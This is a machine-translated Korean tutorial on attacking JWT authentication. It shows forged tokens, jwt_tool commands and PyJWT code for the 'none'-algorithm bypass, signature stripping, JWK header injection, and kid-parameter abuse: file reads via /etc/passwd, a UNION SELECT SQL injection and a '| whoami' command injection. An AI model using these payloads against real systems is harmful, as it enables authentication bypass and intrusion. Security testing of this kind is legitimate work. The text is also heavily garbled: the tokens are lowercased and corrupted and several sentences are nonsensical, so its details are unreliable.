제목 : JWT 인증 공격에 대한 자세한 설명 요약

0x01 JWT基础知识​

1. JWT JWT 소개는 JSON Web Token의 전체 이름이며 JSON 객체를 이동 통신사로 사용하여 정보를 전송합니다. 일반적으로 신원 인증 및 정보 교환에 사용됩니다. JWT는 키 (HMAC 알고리즘) 또는 RSA 또는 ECDSA의 공개/개인 키 2를 사용하여 자체 서명 할 수 있습니다. JTW 토큰 인증은 EYJ로 시작합니다. JWT 데이터의 헤더는 다음과 같습니다. JWT의 데이터는 헤더 (헤더), 페이로드 (페이로드) 및 서명 (서명)의 세 부분으로 나뉩니다. 세 부분은 영어 기간으로 분리됩니다. 분리 된 JWT의 내용은 Base64URL로 인코딩됩니다. 다음은 특정 토큰의 예입니다. eyjrawqioijrzxlzlznjm2myzwexyznmmtezzjy0owrjotm4owrknzfioduxiiwidhlwijoislduiiwiywxnijoiulmyntyifq.eeyjzdwiioijkdwjozt eymyj9. icmyj9. icmyj9. xicp4p4pq_wif2bavtpmalwivauad_eebhdoqe2mxwhre8a7930llfqq1lfqbs0wlmhht6z9bqxbros9jvq7eumeufwfykrzfu9potoee79wxnwt XGDHC5VIDVRWIYTKRMTGKIYHBV68DUFPI68QNZH0Z0M7T5LKEDVNIVFORXDXWB7IQSAUENKZF67Z6UARBZE8ODNZAA9IYYAWHEH1B4OUG0OPM3SAXYSG- Q1R5X_5NLWOGHHYWY2KD9V4NK1BAQ5KHJIL8B3NC77GVIIVVZI9N_KLPCX5XSUW9SSUFR9D99KAKICUSXEIZVM-7OS_DW3TTZ2F-TJSNI0DYPRHHLFW (1) 헤더에는 Signature Algorithm (ALG), Token 유형 (JWT), 암호화 알고리즘 (ALG) 또는 알고리즘이 사용하는 주요 파일 (서버에 여러 키 파일이 필요할 때 사용)과 같은 JWT 구성에 대한 정보가 포함되어 있습니다. Header: Eyjrawqioijrzxlzlzlzlznjm2myzwexyznmmtezzjy0owrjotm4owrknzfioduxiiwidhlwijoislduiiwiywxnijoiulmyntyifqbase64 디코딩 : { 'kid':'Keys/3C3C2EA1C3F113F649DC9389DD71B851', 'typ':'JWT', 'alg'3360'RS256'} TOKEN 인증 유형이 JWT 및 암호화 Algorith는 rs256입니다.
1049983-20220916123519516-1424576923.png
(2) 페이로드 페이로드는 사용자 이름 (테스트123) 페이로드 : eyjzdwiioijkdwjozteymyj9
1049983-20220916123520385-1736997454.png
과 같은 사용자 데이터를 저장하는 데 사용됩니다. RS256 (RSA 비대칭 암호화 및 개인 키 서명) 및 HS256 (HMAC SHA256 대칭 암호화) 알고리즘. 서명의 목적은 JWT가 조작되지 않았는지 확인하는 것입니다. 다음은 HS256을 사용하여 JW=WT를 생성하는 코드의 예입니다.
hmacsha256 (Base64encode (헤더) + '.' + Base64urlencode (페이로드), 비밀) Signature:xtualp4PQ_WIF2BAVTPMALWIVAUAD_EEBHDOQE2MXWHRE8A7930LL fqq1lfqbs0wlmhht6z9bqxbros9jvq7eumeufwfykrzfu9potoee79wxnwtxgdhc5vidvrwiytkrmtgkiyhbv68dufppi68qnz H0Z0M7T5LKEDVNIVFORXDXWB7IQSAUENKZF67Z6UARBZE8ODNZAA9IYOWHEH1B4OUG0OPM3SAXYSG-Q1R5X_5NLWOGHHYWY2K d9v4nk1baq5khjil8b3nc77gviivvzi9n_klpcx5xsusw9ssufr9d99kakymusxxeizvm-7os_dw3ttz2f-tjsni0dyprhhlfw

0x02 JWT常见安全问题​

1. 서명 알고리즘을 없음으로 수정할 수 있습니다 (CVE-2015-9235) JWT는 알고리즘을 "없음"으로 설정하는 것을 지원합니다. "alg"필드가 "없음"으로 설정되면 서명이 비어 있으므로 모든 토큰이 유효합니다. 하나 : 원래의 페이로드 데이터는 변경되지 않았으며 서명 알고리즘은 확인되지 않은 서명 알고리즘 eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjpc3mioijodhrwczpcl1wvzgvtby5zam9lcmnow5na2vvt cgvylm5sxc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozw xsbyi6indvcmxkin19.llhtxxvqkkjlvw8cn_8kb3tereepm2-rafnwz_h0pzbg3359jwt.io/
1049983-20220916123521073-793208072.png
JWT_TOO를 사용하여 공격합니다 (이 도구는 알고리즘에 서명하지 않고 원래 페이로드 데이터를 변경하지 않고 얻은 토큰에 적합) Python3 JWT_TOOL.py eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczpcl1wvzgvtby5zam9lcmrsyw5na2na2vtcgvylm5sxc8ilcjpyxqioje2n ji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozwxsbyi6indvcmxkin19.llhtxxvqkjlvw8cn_8kb3tereepm2-rafnwz_h0pzbg -X
1049983-20220916123521843-1665599597.png
GET tokeneyj0exaioijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxbl ci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozwxsbyi6indvcmkin19.
1049983-20220916123522695-1778378491.png
사용 획득 된 토큰 확인 인증 요청 http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
1049983-20220916123523342-678376506.png
1049983-20220916123523986-1274191903.png
방법 2 : 원래의 급여 데이터는 미확인 상계를 기반으로 변경되었습니다. Python3의 Pyjwt 모듈을 사용하여 페이로드의 데이터를 수정하고 취약점을 사용하여 토큰을 재생하십시오.
JWT 가져 오기
encoded=jwt.encode ({ 'iss':'https://demo.sjoerdlangkemper.nl/', 'exp': 1662739165,'data': { 'hello'3360'}, '', 알고리즘='없음')
인코딩
'eyj0exaioijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxblci 5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozwxsbyi6imfkbwluin19. '
1049983-20220916123524613-991811863.png
toekn:eyj0exaioijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlb xblci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozwxsbyi6imfkbwluin19. 수리 솔루션 : JWT 구성은 필요한 서명 알고리즘 만 지정해야합니다. 페이로드를 수정 한 다음 토큰을 직접 요청하거나 서명을 직접 삭제하고 다시 요청하여 여전히 유효한 지 확인할 수 있습니다. 온라인 도구 JWT.IO
1049983-20220916123525345-938125840.png
을 통해 페이로드 데이터를 수정하십시오
그런 다음 얻은 토큰은 인증 요청을 수행합니다 eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxblci5ubc8ilcjpyxqioje 2NJI3MZC5NJUSIMV4CCI6MTY2MJCZOTE2NSWIZGF0YSI6EYJOZWXSBYI6IMFKBWLUCYJ9FQ.SV4QGOIBSQSP7YEHA2QBHKBH10ZA6Z42UQ dzuv1iumpnu 또는 삭제 서명을 삭제하고 Toekn 인증을 다시 요청하십시오 :eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxbl ci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6ey6imejozwxsbyi6imfkbwlucyj9fq. 수리 솔루션 : JWT 구성은 필요한 서명 알고리즘 만 지정해야합니다. 공격자는 원래 서명을 삭제하고 헤더에 새로운 공개 키를 추가 한 다음 공개 키와 관련된 개인 키에 서명하여 JWT를 위조 할 수 있습니다. eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fycgkifq.aqncvshlnt9jbftpbphdbt2gb1myhiissdddp8sqvgw
1049983-20220916123526020-238379918.png
3 jwt .py eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fycgkifq.aqncvshlnt9jbftpbphdbt2gbb1myisdddp8sqvgw -x i
1049983-20220916123526846-967137625.png

얻은 토큰 인증 : eyj0exaioijkv1qilcjhbgcioiijsuzi1niisimp3ayi6eyjrdhkioijsu0eilcjrawqioijqd3rfdg9vbcisinvzzsi6innpzyisimuioijbuufcii wibii6ijfqzdngtxbfuvm0su15wjjj4tlh5uejrdnrcwnbezg8wakfgtetwemdfsem1ze1vu3zrr1pdwzljpmlpatdzouknfnw9duwregd0mzzqz vv2merhtg8zlvjacgtzcfhpt3qzwu00rdu3sddvqllewvexcfh1dhnbrzliaxj6sengm2l0lg1s0zha2ljtkw5cgsysnlordrtu1boouvqmknqvhexmv9sv 1o1n1zacgfmdjxlxb1thq3swnsynhmbehlauzxrtlusutnrw1scexbvjbrajfiwek3bvhmzeqxt0nys2w0sdqbeflwg5ly0xqtejnb2y4rzbtexrgsu1pn1 bvqvpuzuvhvhjizmktnlznlzknrcunfdjyqur1whbtsu5mofbrbxzxckdjtk1xaeewvxzvcvjcdnfhr0zbwnbrt2dhr1vuvktvdzjotxllusj9fq.eyjsb2d pbii6inrpy2fycgkifq.jgqswhbzaas_4dafbtkk-dobpuedrwwwwwwwww3tzubonkuleioa_ll6ymrwzvj0rjqmh2hilhkrixtce7rtjpiqejahv_5emf5g3qu2jdb M6UN19DLTRTBFCH3FIKMRKH1P-CUUW7AXO2CAE1GWNVGK74D3VNULGBK5QY4UZRYRZJUO-7DX5VHUFV3EJ8J-FRRFQDO_DYAJB7CBWHUBCUKIWJ3ZE 5JIKMXRCMZIEVCSSUXJAYIB7RPM-LI34YWSQBOGA82GLKT4XQJULZZQF7EYSU1Q3JUQPID24T1ZRE7CHM3BTPBZW4CSRPRS8Z5E-GUGZAPH_VODP3MLXA9TA
1049983-20220916123527631-113830237.png

수정 : JWT 구성은 검증을 수락 할 공개 키를 명확하게 정의해야합니다. eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fycgkifq.aqncvshlnt9jbftpbphdbt2gbb1myiSdddp8sqvgw -x n token aured : eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjsb2dpbii6inrpy2fycgkifq.
1049983-20220916123528294-7609962.png
수리 솔루션 : JWT 라이브러리는이 문제를 해결해야합니다. eyjrawqioijrzxlzlznjm2myzwexyznmmtezzjy0owrjotm4owrknzfioduxiiwidhlwijoislduiiwiywxnijoiulmyntyifq
1049983-20220916123528950-1105199477.png
Base64 Decoding : { 'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851', 'typ':'jwt', 'alg'3360'rs256'} 인증 유형이 JWT, 인식 알코리스트는 rscries is rsciese입니다. 알고리즘의 키, 키 어린이의 경로는 키/3C3C2EA1C3F113F649DC9389DDD71B851K입니다. /key/3c3c2ea1c3f113f649dc9389dd71b851k.pem5.kid 매개 변수 취약점 취약점 (1) 모든 파일 읽기 키 ID (KID)는 파일 시스템 또는 데이터베이스에 특정 키를 나타내는 데 사용되는 스트링 유형 인 옵션 헤더입니다. 이 매개 변수는 토큰에 서명하기위한 여러 키가있는 경우 도움이되지만, 공격자가 컨텐츠를 예측할 수있는 특정 파일을 가리킬 수 있으므로 주입 가능한 경우 위험 할 수 있습니다. KID 매개 변수는 키 파일을 읽는 데 사용되지만 시스템은 사용자가 키 파일을 읽을 지 여부를 알지 못합니다. 따라서 공격자가 매개 변수를 필터링하지 않으면 공격자는 시스템의 파일을 읽을 수 있습니다. { 'typ':'jwt ','kid': '/etc/passwd', 'alg':'hs256 '}
1049983-20220916123529660-1186024994.png
token:eyj0exaioijkv1qilcjrawqioiivzxrjl3bhc3n3zcisimfszyi6ikhtmju2in 0.eyjsb2dpbii6inrpy2fycgkifq.cpsfiq-_mnwm7df6zzhwpl22ibkgf447iw6_egrp6pfq 참고 : Linux 시스템의 /dev /null을 빈 장치 파일이라고하며 아무것도 반환하지 않습니다. Python3 JWT_TOOL.py JWT -I -HC hy -HV '././dev/null'-S HS256 -PC 로그인 -PV'TICARPI '매개 변수 설명 : -HC 아이가 기존 헤더에 키드를 설정하거나 업데이트 할 수 있습니다. 로그인, -pv와 같은 페이로드의 선언 변수 이름은 선언 변수 로그인의 값이 'ticarpi'입니다. 또는 CSS 또는 JS와 같은 웹 루트 디렉토리에있는 모든 파일을 사용하고 내용을 사용하여 서명을 확인할 수 있습니다.
Python3 JWT_TOOL.PY -I -HC -HV 'PATH/OF/FILE'-S HS256 -P 'FILE CONTER'(2) SQL 주입 Kid도 데이터베이스에서 데이터를 추출 할 수 있습니다. 현재 SQL 주입 공격이 발생할 수 있습니다. 데이터를 얻기 위해 SQL 문을 구성하거나 서명 검증 { 'typ':'jwt ','kid': 'key111111111'|| Union Select 'Secretkey' -','Alg': 'HS256'}} :eyj0exaioijkv1qilcjrawqioijrzxkxmtexmtexmscgfhwgdw5pb24gc2vszwn0icdzzwnyzxrrzxknic0tii wiywxnijoisfmyntyifq.eyjsb2dpbii6inrpy2fycgkifq.i2od_v7uvbiqillcyuqp_hdy28yp1ifzets90fk-tdc (3) 명령 주입은 어린이 매개 변수를 필터링하는 데 엄격하지 않지만 이용 조건은 비교적 엄격합니다. 서버 백엔드가 Ruby를 사용하고 키 파일을 읽을 때 열린 기능을 사용하는 경우 매개 변수를 구성하여 명령 주입이 발생할 수 있습니다. { 'typ':'jwt ','kid': '키/3c3c2ea1c3f113f649dc9389dd71b851k | whoami', 'alg':'hs256 '}
1049983-20220916123531118-752371774.png
token:eyj0exaioijkv1qilcjrawqioijrzxlzlznjm2myzwexyznmmtezzjy0owrjotm4owrknzfioduxa3g9hbwklcjhbgcioijiuzi1nij9.eyjsb2dpbii
 
뒤로
상단